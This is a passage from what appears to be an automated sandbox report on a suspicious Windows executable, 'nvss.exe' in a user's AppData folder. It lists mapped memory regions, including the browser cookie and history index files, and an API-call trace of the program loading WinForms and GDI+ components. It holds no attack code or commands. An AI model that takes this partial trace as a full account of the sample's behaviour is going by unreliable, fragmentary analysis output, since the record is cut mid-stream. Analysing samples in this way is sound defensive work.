entry_point = 0xe20000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1502 start_va = 0x6d70000 end_va = 0x6daffff entry_point = 0x0 region_type = private name = "private_0x0000000006d70000" filename = "" Region: id = 1503 start_va = 0x72c0000 end_va = 0x73bffff entry_point = 0x0 region_type = private name = "private_0x00000000072c0000" filename = "" Region: id = 1504 start_va = 0x6b140000 end_va = 0x6b156fff entry_point = 0x6b141c9d region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll") Region: id = 1505 start_va = 0x7ef89000 end_va = 0x7ef8bfff entry_point = 0x0 region_type = private name = "private_0x000000007ef89000" filename = "" Region: id = 1506 start_va = 0x6fd0000 end_va = 0x70cffff entry_point = 0x0 region_type = private name = "private_0x0000000006fd0000" filename = "" Region: id = 1537 start_va = 0xe20000 end_va = 0xe2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e20000" filename = "" Region: id = 1542 start_va = 0x7ef30000 end_va = 0x7ef7ffff entry_point = 0x0 region_type = private name = "private_0x000000007ef30000" filename = "" Region: id = 1543 start_va = 0x7ef20000 end_va = 0x7ef2ffff entry_point = 0x0 region_type = private name = "private_0x000000007ef20000" filename = "" Region: id = 1544 start_va = 0x6aa80000 end_va = 0x6aa95fff entry_point = 0x6aa80000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\SysWOW64\\gpapi.dll" (normalized: "c:\\windows\\syswow64\\gpapi.dll") Region: id = 1545 start_va = 0xe20000 end_va = 0xe2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e20000" filename = "" Region: id = 1814 start_va = 0x6aa60000 end_va = 0x6aa7bfff entry_point = 0x6aa60000 region_type = mapped_file name = "cryptnet.dll" filename = "\\Windows\\SysWOW64\\cryptnet.dll" (normalized: "c:\\windows\\syswow64\\cryptnet.dll") Region: id = 1815 start_va = 0x75060000 end_va = 0x75065fff entry_point = 0x7506125a region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\SysWOW64\\SensApi.dll" (normalized: "c:\\windows\\syswow64\\sensapi.dll") Region: id = 1816 start_va = 0x1050000 end_va = 0x105ffff entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 1817 start_va = 0x7100000 end_va = 0x713ffff entry_point = 0x0 region_type = private name = "private_0x0000000007100000" filename = "" Region: id = 1818 start_va = 0x76d0000 end_va = 0x77cffff entry_point = 0x0 region_type = private name = "private_0x00000000076d0000" filename = "" Region: id = 1819 start_va = 0x7ef83000 end_va = 0x7ef85fff entry_point = 0x0 region_type = private name = "private_0x000000007ef83000" filename = "" Region: id = 1820 start_va = 0x6aa40000 end_va = 0x6aa54fff entry_point = 0x6aa40000 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\SysWOW64\\cabinet.dll" (normalized: "c:\\windows\\syswow64\\cabinet.dll") Region: id = 1821 start_va = 0x73f20000 end_va = 0x73f2dfff entry_point = 0x73f20000 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\SysWOW64\\devrtl.dll" (normalized: "c:\\windows\\syswow64\\devrtl.dll") Region: id = 1822 start_va = 0x6bc0000 end_va = 0x6bfffff entry_point = 0x0 region_type = private name = "private_0x0000000006bc0000" filename = "" Region: id = 1823 start_va = 0x7540000 end_va = 0x763ffff entry_point = 0x0 region_type = private name = "private_0x0000000007540000" filename = "" Region: id = 1824 start_va = 0x77d0000 end_va = 0x78cffff entry_point = 0x0 region_type = private name = "private_0x00000000077d0000" filename = "" Region: id = 1825 start_va = 0x7ef80000 end_va = 0x7ef82fff entry_point = 0x0 region_type = private name = "private_0x000000007ef80000" filename = "" Region: id = 1826 start_va = 0xe20000 end_va = 0xe2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e20000" filename = "" Region: id = 1827 start_va = 0x660000 end_va = 0x66ffff entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 1828 start_va = 0x670000 end_va = 0x67ffff entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 1829 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 1830 start_va = 0x670000 end_va = 0x671fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 1831 start_va = 0x680000 end_va = 0x68bfff entry_point = 0x680000 region_type = mapped_file name = "index.dat" filename = "\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 1832 start_va = 0x78d0000 end_va = 0x7c12fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000078d0000" filename = "" Region: id = 1833 start_va = 0x690000 end_va = 0x697fff entry_point = 0x690000 region_type = mapped_file name = "index.dat" filename = "\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 1834 start_va = 0xe20000 end_va = 0xe2ffff entry_point = 0xe20000 region_type = mapped_file name = "index.dat" filename = "\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 1835 start_va = 0x1110000 end_va = 0x1110fff entry_point = 0x0 region_type = private name = "private_0x0000000001110000" filename = "" Region: id = 1836 start_va = 0x1110000 end_va = 0x1110fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001110000" filename = "" Region: id = 1837 start_va = 0x75050000 end_va = 0x7505ffff entry_point = 0x750538c1 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\SysWOW64\\nlaapi.dll" (normalized: "c:\\windows\\syswow64\\nlaapi.dll") Region: id = 1838 start_va = 0x7c20000 end_va = 0x7e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000007c20000" filename = "" Region: id = 1839 start_va = 0x4c80000 end_va = 0x4cdffff entry_point = 0x0 region_type = private name = "private_0x0000000004c80000" filename = "" Region: id = 1840 start_va = 0x6df0000 end_va = 0x6eaffff entry_point = 0x0 region_type = private name = "private_0x0000000006df0000" filename = "" Region: id = 1841 start_va = 0x69b0000 end_va = 0x69effff entry_point = 0x0 region_type = private name = "private_0x00000000069b0000" filename = "" Region: id = 1842 start_va = 0x6a50000 end_va = 0x6a8ffff entry_point = 0x0 region_type = private name = "private_0x0000000006a50000" filename = "" Region: id = 1843 start_va = 0x6e00000 end_va = 0x6e3ffff entry_point = 0x0 region_type = private name = "private_0x0000000006e00000" filename = "" Region: id = 1844 start_va = 0x7c70000 end_va = 0x7d6ffff entry_point = 0x0 region_type = private name = "private_0x0000000007c70000" filename = "" Region: id = 1845 start_va = 0x7e00000 end_va = 0x7e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000007e00000" filename = "" Region: id = 1846 start_va = 0x7ea0000 end_va = 0x7f9ffff entry_point = 0x0 region_type = private name = "private_0x0000000007ea0000" filename = "" Region: id = 1847 start_va = 0x74eb0000 end_va = 0x74f09fff entry_point = 0x74eb1f35 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\SysWOW64\\netprofm.dll" (normalized: "c:\\windows\\syswow64\\netprofm.dll") Region: id = 1848 start_va = 0x7ef86000 end_va = 0x7ef88fff entry_point = 0x0 region_type = private name = "private_0x000000007ef86000" filename = "" Region: id = 1849 start_va = 0x7efa4000 end_va = 0x7efa6fff entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 1850 start_va = 0x76840000 end_va = 0x76842fff entry_point = 0x76840000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\SysWOW64\\normaliz.dll" (normalized: "c:\\windows\\syswow64\\normaliz.dll") Region: id = 1851 start_va = 0x6aa10000 end_va = 0x6aa3dfff entry_point = 0x6aa10000 region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\SysWOW64\\mlang.dll" (normalized: "c:\\windows\\syswow64\\mlang.dll") Region: id = 1852 start_va = 0x74ea0000 end_va = 0x74ea7fff entry_point = 0x74ea2ca6 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\SysWOW64\\npmproxy.dll" (normalized: "c:\\windows\\syswow64\\npmproxy.dll") Region: id = 1853 start_va = 0x75030000 end_va = 0x7503ffff entry_point = 0x75031526 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\SysWOW64\\NapiNSP.dll" (normalized: "c:\\windows\\syswow64\\napinsp.dll") Region: id = 1854 start_va = 0x75010000 end_va = 0x75021fff entry_point = 0x750118f2 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\SysWOW64\\pnrpnsp.dll" (normalized: "c:\\windows\\syswow64\\pnrpnsp.dll") Region: id = 1855 start_va = 0x74fb0000 end_va = 0x74fb7fff entry_point = 0x74fb131e region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\SysWOW64\\winrnr.dll" (normalized: "c:\\windows\\syswow64\\winrnr.dll") Region: id = 5138 start_va = 0x4c80000 end_va = 0x4c90fff entry_point = 0x4c80000 region_type = mapped_file name = "c_20127.nls" filename = "\\Windows\\System32\\C_20127.NLS" (normalized: "c:\\windows\\system32\\c_20127.nls") Region: id = 5139 start_va = 0x4ca0000 end_va = 0x4ca4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004ca0000" filename = "" Region: id = 5140 start_va = 0x4cd0000 end_va = 0x4cdffff entry_point = 0x0 region_type = private name = "private_0x0000000004cd0000" filename = "" Region: id = 5141 start_va = 0x7160000 end_va = 0x719ffff entry_point = 0x0 region_type = private name = "private_0x0000000007160000" filename = "" Region: id = 5142 start_va = 0x73c0000 end_va = 0x74bffff entry_point = 0x0 region_type = private name = "private_0x00000000073c0000" filename = "" Region: id = 5143 start_va = 0x7ef1d000 end_va = 0x7ef1ffff entry_point = 0x0 region_type = private name = "private_0x000000007ef1d000" filename = "" Thread: id = 59 os_tid = 0xa94 [0059.032] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0061.600] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x3ae828 | out: pfEnabled=0x3ae828) returned 0x0 [0061.659] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe", nBufferLength=0x105, lpBuffer=0x3ae6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe", lpFilePart=0x0) returned 0x2a [0061.661] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe", nBufferLength=0x105, lpBuffer=0x3ae724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe", lpFilePart=0x0) returned 0x2a [0061.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3aeb74) returned 1 [0061.662] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\nvss.exe"), fInfoLevelId=0x0, lpFileInformation=0x3aebf0 | out: lpFileInformation=0x3aebf0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdc00de80, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xdc00de80, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xdc7ca600, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x62600)) returned 1 [0061.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3aeb70) returned 1 [0061.662] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe", nBufferLength=0x105, lpBuffer=0x3ae6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe", lpFilePart=0x0) returned 0x2a [0061.667] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe", nBufferLength=0x105, lpBuffer=0x3ae6b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe", lpFilePart=0x0) returned 0x2a [0061.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3aeb94) returned 1 [0061.667] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\nvss.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1f8 [0061.667] GetFileType (hFile=0x1f8) returned 0x1 [0061.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3aeb90) returned 1 [0061.667] GetFileType (hFile=0x1f8) returned 0x1 [0061.668] GetFileSize (in: hFile=0x1f8, lpFileSizeHigh=0x3aec80 | out: lpFileSizeHigh=0x3aec80*=0x0) returned 0x62600 [0061.668] ReadFile (in: hFile=0x1f8, lpBuffer=0x35992f8, nNumberOfBytesToRead=0x62600, lpNumberOfBytesRead=0x3aec2c, lpOverlapped=0x0 | out: lpBuffer=0x35992f8*, lpNumberOfBytesRead=0x3aec2c*=0x62600, lpOverlapped=0x0) returned 1 [0061.671] CloseHandle (hObject=0x1f8) returned 1 [0061.777] GetCurrentProcess () returned 0xffffffff [0061.788] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x3af100, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x3af100*=0x1f8) returned 1 [0061.809] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", nBufferLength=0x105, lpBuffer=0x3aeb90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", lpFilePart=0x0) returned 0x77 [0061.824] IsAppThemed () returned 0x1 [0061.825] CoTaskMemAlloc (cb=0xf0) returned 0x1cfa50 [0061.825] CreateActCtxA (pActCtx=0x3af074) returned 0x1d16a4 [0061.921] CoTaskMemFree (pv=0x1cfa50) [0061.924] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc1b4 [0061.924] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc1b5 [0062.136] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0062.209] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x6bc90000 [0062.221] AdjustWindowRectEx (in: lpRect=0x3af020, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x3af020) returned 1 [0062.228] GetCurrentActCtx (in: lphActCtx=0x3aeeac | out: lphActCtx=0x3aeeac*=0x0) returned 1 [0062.228] ActivateActCtx (in: hActCtx=0x1d16a4, lpCookie=0x3aeebc | out: hActCtx=0x1d16a4, lpCookie=0x3aeebc) returned 1 [0062.228] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0062.232] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x74820000 [0062.237] GetModuleHandleW (lpModuleName="user32.dll") returned 0x77310000 [0062.238] GetProcAddress (hModule=0x77310000, lpProcName="DefWindowProcW") returned 0x778d25dd [0062.238] GetStockObject (i=5) returned 0x1900015 [0062.240] GetModuleHandleW (lpModuleName=0x0) returned 0x1120000 [0062.241] CoTaskMemAlloc (cb=0x5c) returned 0x1c7db8 [0062.242] RegisterClassW (lpWndClass=0x3aed64) returned 0xc1b6 [0062.242] CoTaskMemFree (pv=0x1c7db8) [0062.242] GetModuleHandleW (lpModuleName=0x0) returned 0x1120000 [0062.242] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.2bf8098_r13_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0x1120000, lpParam=0x0) returned 0x3010c [0062.242] SetWindowLongW (hWnd=0x3010c, nIndex=-4, dwNewLong=2005738973) returned 7342122 [0062.243] GetWindowLongW (hWnd=0x3010c, nIndex=-4) returned 2005738973 [0062.243] SetWindowLongW (hWnd=0x3010c, nIndex=-4, dwNewLong=7342170) returned 2005738973 [0062.244] GetWindowLongW (hWnd=0x3010c, nIndex=-4) returned 7342170 [0062.244] GetWindowLongW (hWnd=0x3010c, nIndex=-16) returned 113311744 [0062.244] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc1b7 [0062.244] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc1b8 [0062.244] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x3010c, Msg=0x81, wParam=0x0, lParam=0x3ae944) returned 0x1 [0062.245] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x3010c, Msg=0x83, wParam=0x0, lParam=0x3ae930) returned 0x0 [0062.245] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x3010c, Msg=0x1, wParam=0x0, lParam=0x3ae944) returned 0x0 [0062.245] GetClientRect (in: hWnd=0x3010c, lpRect=0x3ae6ac | out: lpRect=0x3ae6ac) returned 1 [0062.245] GetWindowRect (in: hWnd=0x3010c, lpRect=0x3ae6ac | out: lpRect=0x3ae6ac) returned 1 [0062.245] GetParent (hWnd=0x3010c) returned 0x0 [0062.246] DeactivateActCtx (dwFlags=0x0, ulCookie=0x144d0001) returned 1 [0062.407] EtwEventRegister () returned 0x0 [0062.441] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0062.441] AdjustWindowRectEx (in: lpRect=0x3aec70, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aec70) returned 1 [0062.443] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0062.443] AdjustWindowRectEx (in: lpRect=0x3aec70, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aec70) returned 1 [0062.446] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0062.446] AdjustWindowRectEx (in: lpRect=0x3aec70, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aec70) returned 1 [0062.446] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0062.446] AdjustWindowRectEx (in: lpRect=0x3aec70, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aec70) returned 1 [0062.469] GetSystemDefaultLCID () returned 0x409 [0062.469] GetStockObject (i=17) returned 0x18a0025 [0062.470] GetObjectW (in: h=0x18a0025, c=92, pv=0x3ae9a8 | out: pv=0x3ae9a8) returned 92 [0062.470] GetDC (hWnd=0x0) returned 0x701093a [0062.600] GdiplusStartup (in: token=0x275770, input=0x3adf70, output=0x3adfc0 | out: token=0x275770, output=0x3adfc0) returned 0x0 [0062.635] CoTaskMemAlloc (cb=0x5c) returned 0x1c7db8 [0062.636] GdipCreateFontFromLogfontW (hdc=0x701093a, logfont=0x1c7db8, font=0x3aea6c) returned 0x0 [0062.965] CoTaskMemFree (pv=0x1c7db8) [0062.965] CoTaskMemAlloc (cb=0x5c) returned 0x1c7db8 [0062.965] CoTaskMemFree (pv=0x1c7db8) [0062.966] CoTaskMemAlloc (cb=0x5c) returned 0x1c7db8 [0062.966] CoTaskMemFree (pv=0x1c7db8) [0062.966] GdipGetFontUnit (font=0x4db2230, unit=0x3aea38) returned 0x0 [0062.966] GdipGetFontSize (font=0x4db2230, size=0x3aea3c) returned 0x0 [0062.966] GdipGetFontStyle (font=0x4db2230, style=0x3aea34) returned 0x0 [0062.966] GdipGetFamily (font=0x4db2230, family=0x3aea30) returned 0x0 [0062.966] GdipGetFontSize (font=0x4db2230, size=0x25bd254) returned 0x0 [0062.967] ReleaseDC (hWnd=0x0, hDC=0x701093a) returned 1 [0062.967] GetDC (hWnd=0x0) returned 0x701093a [0062.968] GdipCreateFromHDC (hdc=0x701093a, graphics=0x3aea50) returned 0x0 [0062.968] GdipGetDpiY (graphics=0x4ba1580, dpi=0x25bd35c) returned 0x0 [0062.968] GdipGetFontHeight (font=0x4db2230, graphics=0x4ba1580, height=0x3aea48) returned 0x0 [0062.968] GdipGetEmHeight (family=0x4dbf6b8, style=0, EmHeight=0x3aea50) returned 0x0 [0062.968] GdipGetLineSpacing (family=0x4dbf6b8, style=0, LineSpacing=0x3aea50) returned 0x0 [0062.969] GdipDeleteGraphics (graphics=0x4ba1580) returned 0x0 [0062.969] ReleaseDC (hWnd=0x0, hDC=0x701093a) returned 1 [0062.969] GdipCreateFont (fontFamily=0x4dbf6b8, emSize=0x41040000, style=0, unit=0x3, font=0x25bd31c) returned 0x0 [0062.969] GdipGetFontSize (font=0x4ba08c0, size=0x25bd320) returned 0x0 [0062.969] GdipDeleteFont (font=0x4db2230) returned 0x0 [0062.970] GetDC (hWnd=0x0) returned 0x701093a [0062.970] GdipCreateFromHDC (hdc=0x701093a, graphics=0x3aea9c) returned 0x0 [0062.970] GdipGetFontHeight (font=0x4ba08c0, graphics=0x4ba1580, height=0x3aea94) returned 0x0 [0062.970] GdipDeleteGraphics (graphics=0x4ba1580) returned 0x0 [0062.970] ReleaseDC (hWnd=0x0, hDC=0x701093a) returned 1 [0062.985] GdipGetFamilyName (in: family=0x4dbf6b8, name=0x3ae9ac, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0062.990] CreateCompatibleDC (hdc=0x0) returned 0x15010934 [0062.990] GetCurrentObject (hdc=0x15010934, type=0x1) returned 0x1b00017 [0062.990] GetCurrentObject (hdc=0x15010934, type=0x2) returned 0x1900010 [0062.990] GetCurrentObject (hdc=0x15010934, type=0x7) returned 0x185000f [0062.990] GetCurrentObject (hdc=0x15010934, type=0x6) returned 0x18a002e [0063.002] SaveDC (hdc=0x15010934) returned 1 [0063.002] GetDeviceCaps (hdc=0x15010934, index=90) returned 96 [0063.002] CoTaskMemAlloc (cb=0x5c) returned 0x1c7db8 [0063.002] CreateFontIndirectW (lplf=0x1c7db8) returned 0x70a0932 [0063.002] CoTaskMemFree (pv=0x1c7db8) [0063.003] GetObjectW (in: h=0x70a0932, c=92, pv=0x3ae974 | out: pv=0x3ae974) returned 92 [0063.003] GetCurrentObject (hdc=0x15010934, type=0x6) returned 0x18a002e [0063.003] GetObjectW (in: h=0x18a002e, c=92, pv=0x3ae8d4 | out: pv=0x3ae8d4) returned 92 [0063.003] SelectObject (hdc=0x15010934, h=0x70a0932) returned 0x18a002e [0063.003] GetMapMode (hdc=0x15010934) returned 1 [0063.004] GetTextMetricsW (in: hdc=0x15010934, lptm=0x3ae998 | out: lptm=0x3ae998) returned 1 [0063.004] DrawTextExW (in: hdc=0x15010934, lpchText="j^", cchText=2, lprc=0x3aeaa4, format=0x420, lpdtp=0x25bd93c | out: lpchText="j^", lprc=0x3aeaa4) returned 13 [0063.019] GetSystemMetrics (nIndex=5) returned 1 [0063.019] GetSystemMetrics (nIndex=6) returned 1 [0063.019] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.020] DrawTextExW (in: hdc=0x15010934, lpchText="j^", cchText=2, lprc=0x3aea9c, format=0x420, lpdtp=0x25bda74 | out: lpchText="j^", lprc=0x3aea9c) returned 13 [0063.020] GetSystemMetrics (nIndex=5) returned 1 [0063.020] GetSystemMetrics (nIndex=6) returned 1 [0063.020] AdjustWindowRectEx (in: lpRect=0x3aec78, dwStyle=0x56210242, bMenu=0, dwExStyle=0x200 | out: lpRect=0x3aec78) returned 1 [0063.054] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.054] AdjustWindowRectEx (in: lpRect=0x3aec4c, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aec4c) returned 1 [0063.065] OleInitialize (pvReserved=0x0) returned 0x0 [0063.066] RegisterClipboardFormatW (lpszFormat="WindowsForms12_subclassCheck") returned 0xc1ba [0063.066] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.066] AdjustWindowRectEx (in: lpRect=0x3aec70, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aec70) returned 1 [0063.066] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.066] AdjustWindowRectEx (in: lpRect=0x3aec70, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aec70) returned 1 [0063.066] GetDC (hWnd=0x0) returned 0x701093a [0063.066] GdipCreateFromHDC (hdc=0x701093a, graphics=0x3aea9c) returned 0x0 [0063.066] GdipGetFontHeight (font=0x4ba08c0, graphics=0x4ba1580, height=0x3aea94) returned 0x0 [0063.066] GdipDeleteGraphics (graphics=0x4ba1580) returned 0x0 [0063.066] ReleaseDC (hWnd=0x0, hDC=0x701093a) returned 1 [0063.067] DrawTextExW (in: hdc=0x15010934, lpchText="j^", cchText=2, lprc=0x3aeaa4, format=0x420, lpdtp=0x25d0a34 | out: lpchText="j^", lprc=0x3aeaa4) returned 13 [0063.067] GetSystemMetrics (nIndex=5) returned 1 [0063.067] GetSystemMetrics (nIndex=6) returned 1 [0063.067] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.067] DrawTextExW (in: hdc=0x15010934, lpchText="j^", cchText=2, lprc=0x3aea9c, format=0x420, lpdtp=0x25d0ab4 | out: lpchText="j^", lprc=0x3aea9c) returned 13 [0063.067] GetSystemMetrics (nIndex=5) returned 1 [0063.067] GetSystemMetrics (nIndex=6) returned 1 [0063.067] AdjustWindowRectEx (in: lpRect=0x3aec78, dwStyle=0x56210242, bMenu=0, dwExStyle=0x200 | out: lpRect=0x3aec78) returned 1 [0063.067] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.067] AdjustWindowRectEx (in: lpRect=0x3aec70, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aec70) returned 1 [0063.067] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.067] AdjustWindowRectEx (in: lpRect=0x3aec70, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aec70) returned 1 [0063.067] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.067] AdjustWindowRectEx (in: lpRect=0x3aec70, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aec70) returned 1 [0063.067] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.067] AdjustWindowRectEx (in: lpRect=0x3aec70, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aec70) returned 1 [0063.067] GetDC (hWnd=0x0) returned 0x701093a [0063.067] GdipCreateFromHDC (hdc=0x701093a, graphics=0x3aea9c) returned 0x0 [0063.067] GdipGetFontHeight (font=0x4ba08c0, graphics=0x4ba1580, height=0x3aea94) returned 0x0 [0063.067] GdipDeleteGraphics (graphics=0x4ba1580) returned 0x0 [0063.067] ReleaseDC (hWnd=0x0, hDC=0x701093a) returned 1 [0063.067] DrawTextExW (in: hdc=0x15010934, lpchText="j^", cchText=2, lprc=0x3aeaa4, format=0x420, lpdtp=0x25d1238 | out: lpchText="j^", lprc=0x3aeaa4) returned 13 [0063.068] GetSystemMetrics (nIndex=5) returned 1 [0063.068] GetSystemMetrics (nIndex=6) returned 1 [0063.068] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.068] DrawTextExW (in: hdc=0x15010934, lpchText="j^", cchText=2, lprc=0x3aea9c, format=0x420, lpdtp=0x25d12b8 | out: lpchText="j^", lprc=0x3aea9c) returned 13 [0063.068] GetSystemMetrics (nIndex=5) returned 1 [0063.068] GetSystemMetrics (nIndex=6) returned 1 [0063.068] AdjustWindowRectEx (in: lpRect=0x3aec78, dwStyle=0x56210242, bMenu=0, dwExStyle=0x200 | out: lpRect=0x3aec78) returned 1 [0063.145] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.145] AdjustWindowRectEx (in: lpRect=0x3aec00, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aec00) returned 1 [0063.169] GetUserObjectInformationA (in: hObj=0x58, nIndex=1, pvInfo=0x25d1960, nLength=0xc, lpnLengthNeeded=0x3aeadc | out: pvInfo=0x25d1960, lpnLengthNeeded=0x3aeadc) returned 1 [0063.172] SetConsoleCtrlHandler (HandlerRoutine=0x7008ba, Add=1) returned 1 [0063.172] GetModuleHandleW (lpModuleName=0x0) returned 0x1120000 [0063.172] GetModuleHandleW (lpModuleName=0x0) returned 